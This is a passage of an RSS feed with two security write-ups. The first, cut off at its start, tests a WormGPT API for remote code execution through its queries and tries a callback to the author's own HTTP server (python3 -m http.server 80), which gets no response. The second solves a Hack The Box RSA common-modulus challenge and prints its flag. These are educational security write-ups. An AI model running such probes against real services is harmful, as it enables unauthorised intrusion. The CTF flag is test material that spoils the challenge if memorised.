here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqQ_Qra8XRd9Es0F-0hGYA.jpeg" /><figcaption>RCE-1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XtjKnT8jxzkL6KM6CUINlw.jpeg" /><figcaption>RCE-2</figcaption></figure><p><strong>It seems to be vulnerable</strong>. but again, every time a different response is returned! Are there different servers behind the <strong>proxy</strong>? Why did I get a different response each time?</p><p>lets make a connection to my server. so I’m going to do a HTTP server. lets do:</p><blockquote><strong>python3 -m http.server 80</strong></blockquote><p>lets make a <strong>curl</strong> request to our url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XZ1q1QRiB92qtx6qJ76-mg.jpeg" /><figcaption>RCE -3</figcaption></figure><p>but <strong>I didn’t get anything back</strong>!</p><p>All in All I think the output of the queries we enter is similar to the output of the ChatGPT. but the answers are incorrect and incomplete. Also maybe there are different servers behind the proxy and when my requests reach the vulnerable servers, the correct response is returned. These are just possibilities.<br>What is clear is that this tool needs security testing!!!!</p><p>You can watch my POC video on my YouTube channel.</p><p><a href="https://www.youtube.com/watch?v=piJtu5qmHgc">https://www.youtube.com/watch?v=piJtu5qmHgc</a></p><blockquote><strong>Note</strong>: Currently, the API address mentioned in this write-up is not accessible, and the authentication header has also been added.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80f2f752a697" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/wormgpt-is-it-vulnerable-80f2f752a697">WormGPT: Is it Vulnerable?</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Cyber Santa CTF 2021 — Common Mistake]]></title>
            <link>https://infosecwriteups.com/hack-the-box-cyber-santa-ctf-2021-common-mistake-ae3494bcb6ae?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae3494bcb6ae</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[santa]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[rsa-algorithm]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Wed, 08 Dec 2021 12:40:57 GMT</pubDate>
            <atom:updated>2021-12-14T17:37:03.623Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box Cyber Santa CTF 2021 — Common Mistake</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8pZ06VszWJlKGMSaAyOZQ.jpeg" /><figcaption>Cyber Santa Capture The Flag</figcaption></figure><p>From the <strong>Crypto</strong> Category of <strong>Cyber Santa Is Coming To Town CTF</strong> which was going on from December 1st to December 5th 2021, there was a challenge called “<strong>Common Mistake</strong>”. let’s solve this challenge</p><p>Take a look at the challenge description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*Ml6zrfdFFpu4bQnmI4uE8Q.jpeg" /><figcaption>challenge description</figcaption></figure><p>let’s cat <strong>encrypted.txt</strong> file, as you can see, we have the same modulus and two different encryption values and ciphertexts Which leads to the Common Modulus attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e8w2pOWdbpjYYhGjCpU-SA.jpeg" /><figcaption>encrypted file content</figcaption></figure><p>Generate the first public key using (‘n’ and the 1st ‘e’ value):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwODoSFqLb9dF_XN65UR9Q.jpeg" /><figcaption>key1.pub</figcaption></figure><p>Generate the second public key using (the same ‘n’ and the 2nd ‘e’ value):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwqR-xDyGwKJNIICqfoDcA.jpeg" /><figcaption>generate first public key using (n and 1st e):key2.pub</figcaption></figure><p>Generate Base64 encoded form of the first cipher text using <a href="https://github.com/HexPandaa/RSA-Common-Modulus-Attack">rsa-cm.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2iJRRrlVdlO7zfBZlypYpg.jpeg" /><figcaption>c1.b64</figcaption></figure><p>Generate Base64 encoded form of the second cipher text using <a href="https://github.com/HexPandaa/RSA-Common-Modulus-Attack">rsa-cm.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9gL2TfGC3GQVTiflwRjsg.jpeg" /><figcaption>c2.b64</figcaption></figure><p>Run the script to perform common modulus attacks on RSA to recover the plaintext of the message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26nHrtiA84UCE9AAuehLJg.jpeg" /><figcaption>flag</figcaption></figure><p>and we get the flag: HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}</p><p>hope you enjoyed this write-up…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae3494bcb6ae" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hack-the-box-cyber-santa-ctf-2021-common-mistake-ae3494bcb6ae">Hack The Box Cyber Santa CTF 2021 — Common Mistake</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>